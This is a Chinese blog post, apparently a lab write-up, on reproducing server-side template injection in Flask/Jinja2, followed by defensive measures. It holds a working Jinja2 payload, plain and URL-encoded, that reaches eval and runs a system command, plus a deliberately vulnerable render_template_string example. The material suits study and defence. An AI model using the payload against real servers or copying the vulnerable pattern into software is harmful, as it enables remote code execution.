Flask (Jinja2) 服务端模板注入漏洞复现

本文详细阐述了Flask框架中由于Jinja2模板引擎的漏洞,如何通过未过滤用户输入执行恶意代码。文章介绍了漏洞原理、危害、复现方法以及一系列防御措施,包括输入验证、安全配置和定期更新组件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Flask (Jinja2) 服务端模板注入漏洞

1.1 漏洞描述

说明内容
漏洞编号
漏洞名称Flask (Jinja2) 服务端模板注入漏洞
漏洞评级高危
影响版本使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。
漏洞描述Flask 是一个流行的 Python Web 框架,而 Jinja2 是其默认的模板引擎。服务端模板注入漏洞发生在应用程序使用模板引擎渲染用户提供的数据时,未能正确过滤或转义用户输入,导致攻击者可以注入自己的模板代码,从而执行恶意操作。
修复方案打补丁,上设备,升级组件

1.2 漏洞原理

在模板引擎中,开发者可以使用特定的语法将数据与模板结合生成最终的输出。然而,如果在这个过程中,直接使用用户提供的数据而没有进行适当的过滤或转义,攻击者就可以注入恶意模板代码。

攻击者可以构造恶意的输入,在用户输入中包含模板标记(如 {{}}),以控制模板引擎的行为。模板引擎会将用户提供的数据作为代码来执行,导致恶意代码执行在服务端上下文中。

1.3 漏洞危害

服务端模板注入漏洞可能导致以下危害:

  1. 执行任意服务器端代码:攻击者可以在服务器上执行任意的代码,包括读写敏感文件、访问数据库、远程命令执行等操作。
  2. 盗取敏感信息:攻击者可以通过读取服务器端数据,包括数据库中存储的敏感信息(如用户凭据、个人信息等)。
  3. 服务器端拒绝服务(DoS):攻击者可以构造恶意输入,导致服务器资源耗尽或崩溃,从而使服务不可用。

1.4 漏洞复现

环境启动

image-20230923102617432

访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。

image-20230923102748954

1.4.1 漏洞利用

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
     {% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {undefined{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

放在url中需要编码,编码后的结果

{%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}{%%20if%20b.__class__%20==%20{}.__class__%20%}{%%20if%20%27eval%27%20in%20b.keys()%20%}{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}{%%20endif%20%}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

然后我们执行,发现命令执行成功。

image-20230923103358474

1.5 漏洞防御

漏洞防御: 以下是一些防御措施来预防 Flask(Jinja2)服务端模板注入漏洞:

  1. 输入验证与过滤:应该对用户提供的输入进行验证,并确保它符合预期的格式和类型。同时,在将用户输入传递给模板引擎之前,必须进行适当的过滤和转义处理。
  2. 不信任用户输入:永远不要相信用户提供的输入数据,即使是在内部使用也要进行验证和转义处理。
  3. 使用安全的模板引擎配置:使用模板引擎时,应该仔细配置其安全选项,以限制模板中可执行的操作和访问的对象。
  4. 最小权限原则:为应用程序和服务器分配最低权限,以降低攻击者成功利用漏洞的可能性。
  5. 定期更新框架和库:及时更新 Flask 和 Jinja2 等相关库,以获取最新的安全修复和补丁。
### Jinja2 模板 SSTI 漏洞原理 Jinja2 是一种广泛使用的 Python 模板引擎,允许开发者通过模板文件动态生成 HTML 页面或其他类型的文本输出。然而,在某些情况下,如果应用程序未能正确处理用户输入并将其传递给模板引擎,则可能导致服务器端模板注入 (SSTI) 漏洞。 当存在 SSTI 漏洞时,攻击者可以向 Web 应用程序发送恶意构造的数据作为参数或 URL 查询字符串的一部分。这些数据随后被嵌入到模板上下文中执行[^1]。由于 Jinja2 支持丰富的表达式语法以及访问 Python 对象的能力,一旦成功触发 SSTI,攻击者可能获得对整个应用环境甚至底层操作系统的完全控制权限。 #### 示例代码展示潜在风险: ```python from flask import Flask, render_template_string app = Flask(__name__) @app.route('/unsafe/<string:name>') def unsafe(name): template = f'Hello {name}' # 用户可控的内容直接拼接到模板中 return render_template_string(template) if __name__ == '__main__': app.run(debug=True) ``` 上述例子展示了不安全的做法——未经验证就将来自用户的 `name` 参数值插入到了模板字符串里。这使得任何能够影响此路由请求的人都有机会尝试注入有害指令来操纵响应内容[^3]。 ### 防御措施建议 为了防止此类漏洞的发生,应当遵循以下最佳实践原则: - **避免直接使用不可信源提供的模板片段**:永远不要让用户提交完整的模板代码;只接受预定义好的占位符名称,并严格限定其作用范围。 - **启用沙盒模式**:对于确实需要支持一定程度自定义化的场景下,可以通过配置开启 Jinja2 的 sandboxed environment 功能,从而限制可调用函数集和属性访问路径。 - **过滤特殊字符**:确保所有外部传入的信息都经过适当转义处理后再参与最终页面构建过程,特别是那些用于构成条件判断、循环结构等逻辑部分的关键字。 - **定期审查依赖库版本更新日志**:及时跟进官方发布的补丁信息,修补已知的安全隐患。 综上所述,虽然 SSTI 可能带来严重的后果,但只要采取合理的预防手段就能有效降低遭受攻击的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

来日可期x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值